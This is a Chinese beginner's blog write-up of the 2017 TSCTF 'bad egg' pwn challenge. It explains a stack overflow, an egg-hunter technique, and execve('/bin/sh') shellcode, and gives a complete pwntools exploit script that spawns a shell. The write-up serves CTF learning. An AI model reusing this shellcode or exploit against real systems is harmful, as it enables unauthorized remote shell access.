pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程。
今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell。
首先拿到题目用ida去查看:

题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的这块地址的首地址输出出来,接着又会在堆中申请一个256大小的空间(这里会是后面用来存放shellcode的位置),接着执行sub_9AB()函数。
进入sub_9AB()函数:


这个函数逻辑是先申请了int buf,int v2,char haystack[4],这些申请的空间是存在在栈中的,首先要你输入treat or trick?,只有输入treat才会继续执行下面的代码,接着程序会把申请的haystack所在的栈地址告诉你,接下来输入name到haystack,这里read给的max位32位,而haystack只申请的4个字节的空间,所以在这里存在栈溢出,接着是往之前堆中申请的256大小的地址写入数据,然后程序结束。
为了防止直接在栈上写shellcode本题的栈上可写空间只有20个字节(执行函数先push了参数这里无,然后返回地址4字节,再是ebp4字节,ebx4字节,再第一个int4字节,第二个int4字节再是haystack所以haystack和返回地址之间大小为20个字节),而且对输入进行了"sh"过滤,同时为了防止构造ROP链,题目开了pie保护,即代码段随机化。
那么解题思路为:将egg_hunter代码写入栈溢出位置,并将返回地址覆盖为造成栈溢出变量的起始地址,然后将egg_hunter的tag以及shellcode写入堆中,程序运行顺序为先写入栈中,再写入堆中,然后到返回地址为栈溢出的起始地址,所以执行egg_hunter程序,到堆中指定地址去找tag,找到了tag后执行随后的shellcode代码拿到shell。
egg hunter汇编原理:

其实就是从eax的地址开始一直往下找直到找到内容和ebx的内容相同的地址,然后跳到该地址去执行。
egg_hunter="\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01"。chunk_addr是最前面告诉我们的堆的地址。
shellcode汇编代码:

意思是通过int80中断,调用号为11,即sys_execve()函数,参数是ebx这里为/bin/sh,即执行了sys_execve('/bin/sh')。
shellcode='\x90\x50\x90\x50'+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90'
前面要加上tag这里是“\x90\x50\x90\x50”。
exp:
from pwn import *
#init
debug = 0
if debug:
io = process('./egg')
else:
io = remote('127.0.0.1',2334) context.log_level = 'debug' if debug:
gdb.attach(pidof('egg')[-1],open('zp'))
#---------------------------------------------------------------- shellcode = '\x90\x50\x90\x50'+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90"
print io.recvuntil('seat is ')
chunk_addr=int(io.recvuntil('\n'),16)
print hex(chunk_addr)
print io.recvuntil('trick? ')
io.sendline('treat')
print io.recvuntil('located in ')
stack_addr=int(io.recvuntil('\n'),16)
print hex(stack_addr)
io.recvuntil('name?\n')
egg_hunter="\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01"
payload = egg_hunter + 'A'*(20-len(egg_hunter)) + p32(stack_addr)
io.sendline(payload)
io.recvuntil('here.\n')
io.sendline(shellcode)
io.interactive()
pwn题目可用:socat tcp4-listen:2334,fork exec:./egg挂载,然后通过nc ip 2334去访问
bad egg下载地址:http://files.cnblogs.com/files/lllkh/badegg.rar
pwn学习之一的更多相关文章
- PWN学习之格式化字符串漏洞
目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...
- PWN学习之整数溢出
目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习日记Day7 基础知识积累
知识杂项 strncpy(char s1,const char s2,int n); 其中有三个参数分别表示目标字符串s1,源字符串s2,拷贝长度.意思是将s2指向的字符串的前n个长度的字符放到s1指 ...
- pwn学习日记Day5 基础知识积累
知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...
- Arm pwn学习
本文首发于“合天智汇”公众号 作者:s0xzOrln 声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关! 刚刚开始学习ARM pwn,下面如有错 ...
随机推荐
- python 内置函数详解
懒得写了 参考1:https://www.cnblogs.com/xiao1/p/5856890.html 参考2:https://www.runoob.com/python/python-buil ...
- mac-redis安装与使用
安装: brew install redis --------------- 使用: 启动redis-server: sudo redis-server 连接:./redis-cli -h 127.0 ...
- 标签传播算法(Label Propagation Algorithm, LPA)初探
0. 社区划分简介 0x1:非重叠社区划分方法 在一个网络里面,每一个样本只能是属于一个社区的,那么这样的问题就称为非重叠社区划分. 在非重叠社区划分算法里面,有很多的方法: 1. 基于模块度优化的社 ...
- CNN 激活函数
CNN: 1\ Siamoid 2\ Relu + Softplus 图片来源: http://ufldl.stanford.edu/tutorial/supervised/MultiLayerNeu ...
- 02-oracle中的基础sql
1.SQL SQL(Structured Query Language) 语言是目前主流的关系型数据库上执行数据操作.数据检索以及数据库维护所需要的标准语言,是用户与数据库之间进行交流的接口,许多关系 ...
- Java IO系列之四:NIO通信模型
分布式rpc框架有很多,比如dubbo,netty,还有很多其他的产品.但他们大部分都是基于nio的, nio是非阻塞的io,那么它的内部机制是怎么实现的呢. 1.由一个专门的线程处理所有IO事件,并 ...
- vscode中文配置说明
1.官网下载vscode安装完毕后, 2.在扩展中搜索chinese,选择:“Chinese (Simplified) Language Pack for Visual Studio Code” 3. ...
- 【知乎Live】狼叔:如何正确的学习Node.js
文章链接 https://i5ting.github.io/How-to-learn-node-correctly/#1 或在 https://github.com/i5ting/How-to-lea ...
- Python——错误笔记
1.同一个项目(Project)下,不同的库(Package)之间默认不相互引用,注意这样的错误: 2.使用sklearn之前,需要安装scipy库
- go语言圣经练习
练习 3.10: 编写一个非递归版本的comma函数,使用bytes.Buffer代替字符串链接操作. package main import ( "fmt" "os&q ...